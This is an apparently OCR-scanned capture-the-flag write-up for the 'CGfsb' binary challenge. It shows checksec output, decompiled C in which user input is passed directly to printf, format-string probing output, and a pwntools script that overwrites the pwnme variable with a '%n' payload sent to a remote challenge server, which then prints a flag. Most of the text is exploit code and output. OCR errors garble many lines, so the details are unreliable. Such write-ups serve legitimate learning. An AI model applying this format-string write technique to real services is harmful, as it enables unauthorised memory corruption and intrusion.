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checksec:

root@at-ubuntu:/home/atfwus/rop# checksec CGTfsh
[*]1 '/home/atfwus/rop/CGfsb’

Arch: 1386-32-little
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NX:
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root@at -ubuntu:/home/atfwus/rop# |j
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int _ cdecl main(int argc, const char **argv, const char **envp)

{

[

int buf; //

int v5; //

__intle ve; //

char s; //

unsigned int v8; //
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= __readgsdword(0x14u);
setbuf(stdin, ©);
setbuf(stdout, ©);
setbuf(stderr, 0);

= 8;

=8;

=e;
memset(&s, ©, @x64u);
puts(“"please tell me your name:");
read(@, &buf, ©xAu);
puts("leave your message please:");
fgets(&s, 1ee, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
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puts("you pwned me, here is your flag:\n");
system("cat flag");
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else
{
1 puts("Thank you!");
32|}
33| return ©;
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: 0804A065 align 4

: 08044068 jf’f public pwnme

:©0804A068 pwnme dd ?

:0804A068 _bss ends

:0804A068
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.prgend:0804A06C ; Segment type: Zero-length
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root@at-ubuntu:/home/atfwus/rop# ./CGfsb
please tell me your name:

atfwus

leave your message please:

AAAA . %0 5 X.% %

your message is:
AAAA . ffffddae. f7fb35cO.ffffd4fc.f7ffda%9c.0000000L. f7fd0410.74610001.73757766.0000000a.41414141.3830252e.30252e78.

Thank you!
root@at-ubuntu:/home/atfwus/rop# I h
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0x02.exp



##!/usr/bin/env python
from pwn import*

r=remote("111.198.29.45",36301)
#r=process('./CGfsb")

pwnme_addr=0x0804A068

r.sendlineafter("please tell me your name:","ATFWUS")
payload=p32(pwnme_addr)+"%4c%10$n"
r.sendlineafter("leave your message please:",payload)
r.interactive()

root@at-ubuntu:/home/atftwus/rop# python expCGfsb.py
[+] Opening connection to 111.198.29.45 on port 36301: Done
[*] Switching to interactive mode

hello ATFWUS

your message is:

h\xa@\x0 \xae

vou pwned me, here is your flag:

cyberpeace{207050a512e1255f9dc2766dab87d401}
[*] Got EOF while reading in interactive
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